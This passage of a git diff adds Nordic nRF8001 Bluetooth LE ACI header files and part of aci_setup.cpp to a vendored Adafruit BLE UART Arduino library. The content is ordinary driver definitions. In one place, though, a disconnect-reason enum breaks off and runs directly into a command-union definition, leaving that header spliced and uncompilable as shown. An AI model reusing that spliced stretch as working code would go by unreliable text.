+} aci_pipe_type_t; + +/** + * @enum aci_bd_addr_type_t + * @brief Bluetooth Address types + */ +typedef enum +{ + ACI_BD_ADDR_TYPE_INVALID = 0x00, + ACI_BD_ADDR_TYPE_PUBLIC = 0x01, + ACI_BD_ADDR_TYPE_RANDOM_STATIC = 0x02, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_RESOLVABLE = 0x03, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_UNRESOLVABLE = 0x04 +} aci_bd_addr_type_t; + +/** + * @enum aci_device_output_power_t + * @brief Radio output power levels + */ +typedef enum +{ + ACI_DEVICE_OUTPUT_POWER_MINUS_18DBM = 0x00, /**< Output power set to -18dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_12DBM = 0x01, /**< Output power set to -12dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_6DBM = 0x02, /**< Output power set to -6dBm */ + ACI_DEVICE_OUTPUT_POWER_0DBM = 0x03 /**< Output power set to 0dBm - DEFAULT*/ +} aci_device_output_power_t; + +/** + * @enum aci_device_operation_mode_t + * @brief Device operation modes + */ +typedef enum +{ + ACI_DEVICE_INVALID =0x00, + ACI_DEVICE_TEST =0x01, + ACI_DEVICE_SETUP =0x02, + ACI_DEVICE_STANDBY =0x03, + ACI_DEVICE_SLEEP =0x04 +} aci_device_operation_mode_t; + +/** + * @enum aci_disconnect_reason_t + * @brief Reason enumeration for ACI_CMD_DISCONNECT + */ +typedef enum +{ + ACI_REASON_TERMINATE =0x01, /**< Use this to disconnect (does a terminate request), you need to wait for the "disconnected" event */ + ACI_REASON_BAD_TIMING =0x02 /* Opcode of the ACI command */ + union + { + aci_cmd_params_test_t test; + aci_cmd_params_echo_t echo; + aci_cmd_params_dtm_cmd_t dtm_cmd; + aci_cmd_params_setup_t setup; + aci_cmd_params_write_dynamic_data_t write_dynamic_data; + aci_cmd_params_set_local_data_t set_local_data; + aci_cmd_params_connect_t connect; + aci_cmd_params_bond_t bond; + aci_cmd_params_disconnect_t disconnect; + aci_cmd_params_set_tx_power_t set_tx_power; + aci_cmd_params_change_timing_t change_timing; + aci_cmd_params_open_remote_pipe_t open_remote_pipe; + aci_cmd_params_send_data_t send_data; + aci_cmd_params_send_data_ack_t send_data_ack; + aci_cmd_params_request_data_t request_data; + aci_cmd_params_send_data_nack_t send_data_nack; + aci_cmd_params_set_app_latency_t set_app_latency; + aci_cmd_params_set_key_t set_key; + aci_cmd_params_open_adv_pipe_t open_adv_pipe; + aci_cmd_params_broadcast_t broadcast; + aci_cmd_params_close_remote_pipe_t close_remote_pipe; + + } params; +} aci_cmd_t; + +#endif // ACI_CMDS_H__ + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h new file mode 100755 index 0000000..77f2f2c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h @@ -0,0 +1,364 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup aci + * + * @brief Definitions for the ACI (Application Control Interface) events + */ + +#ifndef ACI_EVTS_H__ +#define ACI_EVTS_H__ + +#include "aci.h" +/** + * @enum aci_evt_opcode_t + * @brief ACI event opcodes + */ +typedef enum +{ + /** + * Invalid event code + */ + ACI_EVT_INVALID = 0x00, + /** + * Sent every time the device starts + */ + ACI_EVT_DEVICE_STARTED = 0x81, + /** + * Mirrors the ACI_CMD_ECHO + */ + ACI_EVT_ECHO = 0x82, + /** + * Asynchronous hardware error event + */ + ACI_EVT_HW_ERROR = 0x83, + /** + * Event opcode used as a event response for all commands + */ + ACI_EVT_CMD_RSP = 0x84, + /** + * Link connected + */ + ACI_EVT_CONNECTED = 0x85, + /** + * Link disconnected + */ + ACI_EVT_DISCONNECTED = 0x86, + /** + * Bond completion result + */ + ACI_EVT_BOND_STATUS = 0x87, + /** + * Pipe bitmap for available pipes + */ + ACI_EVT_PIPE_STATUS = 0x88, + /** + * Sent to the application when the radio enters a connected state + * or when the timing of the radio connection changes + */ + ACI_EVT_TIMING = 0x89, + /** + * Notification to the application that transmit credits are + * available + */ + ACI_EVT_DATA_CREDIT = 0x8A, + /** + * Data acknowledgement event + */ + ACI_EVT_DATA_ACK = 0x8B, + /** + * Data received notification event + */ + ACI_EVT_DATA_RECEIVED = 0x8C, + /** + * Error notification event + */ + ACI_EVT_PIPE_ERROR = 0x8D, + /** + * Display Passkey Event + */ + ACI_EVT_DISPLAY_PASSKEY = 0x8E, + /** + * Security Key request + */ + ACI_EVT_KEY_REQUEST = 0x8F + +} aci_evt_opcode_t; + +/** + * @struct aci_evt_params_device_started_t + * @brief Structure for the ACI_EVT_DEVICE_STARTED event return parameters + */ +typedef struct +{ + uint8_t device_mode; /**< enum aci_device_operation_mode_t -> Mode in which the device is being started */ + uint8_t hw_error; /**< enum aci_hw_error_t -> Hardware Error if available for the start */ + uint8_t credit_available; /**< Flow control credit available for this specific FW build */ +} aci_evt_params_device_started_t; + +/** + * @struct aci_evt_params_hw_error_t + * @brief Structure for the ACI_EVT_HW_ERROR event return parameters + */ +typedef struct +{ + uint16_t line_num; + uint8_t file_name[20]; +} aci_evt_params_hw_error_t; + +/** + * @struct aci_evt_cmd_rsp_params_dtm_cmd_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_DTM_CMD event return parameters + */ +typedef struct +{ + uint8_t evt_msb; + uint8_t evt_lsb; +} aci_evt_cmd_rsp_params_dtm_cmd_t; + +/** + * @struct aci_evt_cmd_rsp_read_dynamic_data_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_READ_DYNAMIC_DATA event return parameters + * @note Dynamic data chunk size in this event is defined to go up to ACI_PACKET_MAX_LEN - 5 + */ +typedef struct +{ + uint8_t seq_no; + uint8_t dynamic_data[1]; +} aci_evt_cmd_rsp_read_dynamic_data_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_version_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_VERSION event return parameters + */ +typedef struct +{ + uint16_t configuration_id; + uint8_t aci_version; + uint8_t setup_format; + uint32_t setup_id; + uint8_t setup_status; +} aci_evt_cmd_rsp_params_get_device_version_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_address_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_ADDRESS event return parameters + */ +typedef struct +{ + uint8_t bd_addr_own[BTLE_DEVICE_ADDRESS_SIZE]; + uint8_t bd_addr_type; /**< enum aci_bd_addr_type_t */ +} aci_evt_cmd_rsp_params_get_device_address_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_battery_level_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_BATTERY_LEVEL event return parameters + */ +typedef struct +{ + uint16_t battery_level; +} aci_evt_cmd_rsp_params_get_battery_level_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_temperature_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_TEMPERATURE event return parameters + */ +typedef struct +{ + int16_t temperature_value; +} aci_evt_cmd_rsp_params_get_temperature_t; + +/** + * @struct aci_evt_params_cmd_rsp_t + * @brief Structure for the ACI_EVT_CMD_RSP event return parameters + */ +typedef struct +{ + uint8_t cmd_opcode; /**< enum aci_cmd_opcode_t -> Command opcode for which the event response is being sent */ + uint8_t cmd_status; /**< enum aci_status_code_t -> Status of the command that was sent. Used in the context of the command. */ + union + { + aci_evt_cmd_rsp_params_dtm_cmd_t dtm_cmd; + aci_evt_cmd_rsp_read_dynamic_data_t read_dynamic_data; + aci_evt_cmd_rsp_params_get_device_version_t get_device_version; + aci_evt_cmd_rsp_params_get_device_address_t get_device_address; + aci_evt_cmd_rsp_params_get_battery_level_t get_battery_level; + aci_evt_cmd_rsp_params_get_temperature_t get_temperature; + uint8_t padding[29]; + } params; +} aci_evt_params_cmd_rsp_t; + +/** + * @struct aci_evt_params_connected_t + * @brief Structure for the ACI_EVT_CONNECTED event return parameters + */ +typedef struct +{ + aci_bd_addr_type_t dev_addr_type; + uint8_t dev_addr[BTLE_DEVICE_ADDRESS_SIZE]; + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ + uint8_t master_clock_accuracy; /**< enum aci_clock_accuracy_t -> Clock accuracy of Bluetooth master: Enumerated list of values from 500 ppm to 20 ppm */ +} aci_evt_params_connected_t; + +/** + * @struct aci_evt_params_disconnected_t + * @brief Structure for the ACI_EVT_DISCONNECTED event return parameters + */ +typedef struct +{ + uint8_t aci_status; /**< enum aci_status_code_t */ + uint8_t btle_status; +} aci_evt_params_disconnected_t; + +/** + * @struct aci_evt_params_bond_status_t + * @brief Structure for the ACI_EVT_BOND_STATUS event return parameters + */ +typedef struct +{ + uint8_t status_code; + uint8_t status_source; /**< enum aci_bond_status_source_t */ + uint8_t secmode1_bitmap; + uint8_t secmode2_bitmap; + uint8_t keys_exchanged_slave; + uint8_t keys_exchanged_master; +} aci_evt_params_bond_status_t; + +/** + * @struct aci_evt_params_pipe_status_t + * @brief Structure for the ACI_EVT_PIPE_STATUS event return parameters + */ +typedef struct +{ + uint8_t pipes_open_bitmap[8]; + uint8_t pipes_closed_bitmap[8]; +} aci_evt_params_pipe_status_t; + +/** + * @struct aci_evt_params_timing_t + * @brief Structure for the ACI_EVT_TIMING event return parameters + */ +typedef struct +{ + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ +} aci_evt_params_timing_t; + +/** + * @struct aci_evt_params_data_credit_t + * @brief Structure for the ACI_EVT_DATA_CREDIT event return parameters + */ +typedef struct +{ + uint8_t credit; +} aci_evt_params_data_credit_t; + +/** + * @struct aci_evt_params_data_ack_t + * @brief Structure for the ACI_EVT_DATA_ACK event return parameters + */ +typedef struct +{ + uint8_t pipe_number; +} aci_evt_params_data_ack_t; + +/** + * @struct aci_evt_params_data_received_t + * @brief Structure for the ACI_EVT_DATA_RECEIVED event return parameters + */ +typedef struct +{ + aci_rx_data_t rx_data; +} aci_evt_params_data_received_t; + +typedef struct +{ + uint8_t content[1]; +} error_data_t; + +/** + * @struct aci_evt_params_pipe_error_t + * @brief Structure for the ACI_EVT_PIPE_ERROR event return parameters + */ +typedef struct +{ + uint8_t pipe_number; + uint8_t error_code; + union + { + error_data_t error_data; + } params; +} aci_evt_params_pipe_error_t; + +/** + * @struct aci_evt_params_display_passkey_t + * @brief Structure for the ACI_EVT_DISPLAY_PASSKEY event return parameters + */ +typedef struct +{ + uint8_t passkey[6]; +} aci_evt_params_display_passkey_t; + +/** + * @struct aci_evt_params_key_request_t + * @brief Structure for the ACI_EVT_KEY_REQUEST event return parameters + */ +typedef struct +{ + uint8_t key_type; /**< enum aci_key_type_t */ +} aci_evt_params_key_request_t; + +/** + * @struct aci_event_params_echo_t + * @brief Structure for the ACI_EVT_ECHO ACI event parameters + */ +typedef struct +{ + uint8_t echo_data[ACI_ECHO_DATA_MAX_LEN]; +} aci_evt_params_echo_t; + +/** + * @struct aci_evt_t + * @brief Encapsulates a generic ACI event + */ +typedef struct +{ + uint8_t len; + uint8_t evt_opcode; /** enum aci_evt_opcode_t */ + union + { + aci_evt_params_device_started_t device_started; + aci_evt_params_echo_t echo; + aci_evt_params_hw_error_t hw_error; + aci_evt_params_cmd_rsp_t cmd_rsp; + aci_evt_params_connected_t connected; + aci_evt_params_disconnected_t disconnected; + aci_evt_params_bond_status_t bond_status; + aci_evt_params_pipe_status_t pipe_status; + aci_evt_params_timing_t timing; + aci_evt_params_data_credit_t data_credit; + aci_evt_params_data_ack_t data_ack; + aci_evt_params_data_received_t data_received; + aci_evt_params_pipe_error_t pipe_error; + aci_evt_params_display_passkey_t display_passkey; + aci_evt_params_key_request_t key_request; + } params; +} aci_evt_t; + +#endif // ACI_EVTS_H__ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h new file mode 100755 index 0000000..cfa43ec --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h @@ -0,0 +1,178 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. * + * * + * The information contained herein is property of Nordic Semiconductor ASA.* + * Terms and conditions of usage are described in detail in NORDIC * + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * + * * + * Licensees are granted free, non-transferable use of the information. NO * + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * + * the file. * + * */ + +/* * + * This file contents defines for the position of all the fields of ACI * + * command or event messages * + * */ + +#ifndef ACI_OFFSET_H__ +#define ACI_OFFSET_H__ + + + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB 0 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB 1 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB 2 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB 3 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB 4 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB 5 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB 6 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB 7 + #define OFFSET_ACI_TX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_TX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_RX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_RX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE 0 + #define OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_MSB 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_LSB 1 + #define OFFSET_ACI_CMD_PARAMS_SETUP_T_SETUP_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_SET_LOCAL_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON 0 + #define OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER 0 + #define OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS 0 + #define OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE 1 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_OOB_KEY 1 + #define OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_T_LEN 0 + #define OFFSET_ACI_CMD_T_CMD_OPCODE 1 + #define OFFSET_ACI_CMD_T_TEST 2 + #define OFFSET_ACI_CMD_T_ECHO 2 + #define OFFSET_ACI_CMD_T_DTM_CMD 2 + #define OFFSET_ACI_CMD_T_SETUP 2 + #define OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA 2 + #define OFFSET_ACI_CMD_T_SET_LOCAL_DATA 2 + #define OFFSET_ACI_CMD_T_CONNECT 2 + #define OFFSET_ACI_CMD_T_BOND 2 + #define OFFSET_ACI_CMD_T_DISCONNECT 2 + #define OFFSET_ACI_CMD_T_SET_TX_POWER 2 + #define OFFSET_ACI_CMD_T_CHANGE_TIMING 2 + #define OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE 2 + #define OFFSET_ACI_CMD_T_SEND_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_ACK 2 + #define OFFSET_ACI_CMD_T_REQUEST_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_NACK 2 + #define OFFSET_ACI_CMD_T_SET_APP_LATENCY 2 + #define OFFSET_ACI_CMD_T_SET_KEY 2 + #define OFFSET_ACI_CMD_T_OPEN_ADV_PIPE 2 + #define OFFSET_ACI_CMD_T_BROADCAST 2 + #define OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE 2 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE 0 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR 1 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE 2 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT 3 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0 4 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1 5 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1 7 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS 8 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE 0 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE 2 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE 0 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR 1 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB 7 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB 8 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB 9 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB 10 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB 11 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB 12 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY 13 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS 0 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE 0 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP 2 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP 3 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE 4 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER 5 + #define OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP 8 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_INTERVAL_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_LSB 2 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_SLAVE_RF_LATENCY_MSB 3 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_LSB 4 + #define OFFSET_ACI_EVT_PARAMS_TIMING_T_CONN_RF_TIMEOUT_MSB 5 + #define OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_DATA_RECEIVED_T_RX_DATA 0 + #define OFFSET_ERROR_DATA_T_CONTENT 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_PIPE_NUMBER 0 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_CODE 1 + #define OFFSET_ACI_EVT_PARAMS_PIPE_ERROR_T_ERROR_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_DISPLAY_PASSKEY_T_PASSKEY 0 + #define OFFSET_ACI_EVT_PARAMS_KEY_REQUEST_T_KEY_TYPE 0 + #define OFFSET_ACI_EVT_T_LEN 0 + #define OFFSET_ACI_EVT_T_EVT_OPCODE 1 + #define OFFSET_ACI_EVT_T_DEVICE_STARTED 2 + #define OFFSET_ACI_EVT_T_HW_ERROR 2 + #define OFFSET_ACI_EVT_T_CMD_RSP 2 + #define OFFSET_ACI_EVT_T_CONNECTED 2 + #define OFFSET_ACI_EVT_T_DISCONNECTED 2 + #define OFFSET_ACI_EVT_T_BOND_STATUS 2 + #define OFFSET_ACI_EVT_T_PIPE_STATUS 2 + #define OFFSET_ACI_EVT_T_TIMING 2 + #define OFFSET_ACI_EVT_T_DATA_CREDIT 2 + #define OFFSET_ACI_EVT_T_DATA_ACK 2 + #define OFFSET_ACI_EVT_T_DATA_RECEIVED 2 + #define OFFSET_ACI_EVT_T_PIPE_ERROR 2 + #define OFFSET_ACI_EVT_T_DISPLAY_PASSKEY 2 + #define OFFSET_ACI_EVT_T_KEY_REQUEST 2 + +#endif //ACI_OFFSET_H__ + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp new file mode 100755 index 0000000..bbed499 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_setup.cpp @@ -0,0 +1,131 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * My project template + */ + +#include +#include +#include +#include "aci_setup.h" + + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) + +static hal_aci_evt_t aci_data; +static hal_aci_data_t aci_cmd; + +aci_status_code_t aci_setup(aci_state_t *aci_stat, uint8_t num_cmds, uint8_t num_cmd_offset) +{ + uint8_t i = 0; + uint8_t evt_count = 0; + aci_evt_t * aci_evt = NULL; + + while (i < num_cmds) + { + //Copy the setup ACI message from Flash to RAM + //Add 2 bytes to the length byte for status byte, length for the total number of bytes + memcpy_P(&aci_cmd, &(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i]), + pgm_read_byte_near(&(aci_stat->aci_setup_info.setup_msgs[num_cmd_offset+i].buffer[0]))+2); + + //Put the Setup ACI message in the command queue + if (!hal_aci_tl_send(&aci_cmd)) + { + Serial.println(F("Cmd Queue Full")); + return ACI_STATUS_ERROR_INTERNAL; + } + else + { + //Debug messages: + //Serial.print(F("Setup msg")); + //Serial.println(i, DEC); + } + + i++; + } + while (1) + { + //We will sit here if we do not get the same number of command response evts as the commands sent to the ACI + // + //@check The setup wil fail in the while(1) below when the 32KHz source for the nRF8001 is in-correct in the setup generated in the nRFgo studio + if (true == lib_aci_event_get(aci_stat, &aci_data)) + { + aci_evt = &aci_data.evt; + + evt_count++; + + if (ACI_EVT_CMD_RSP != 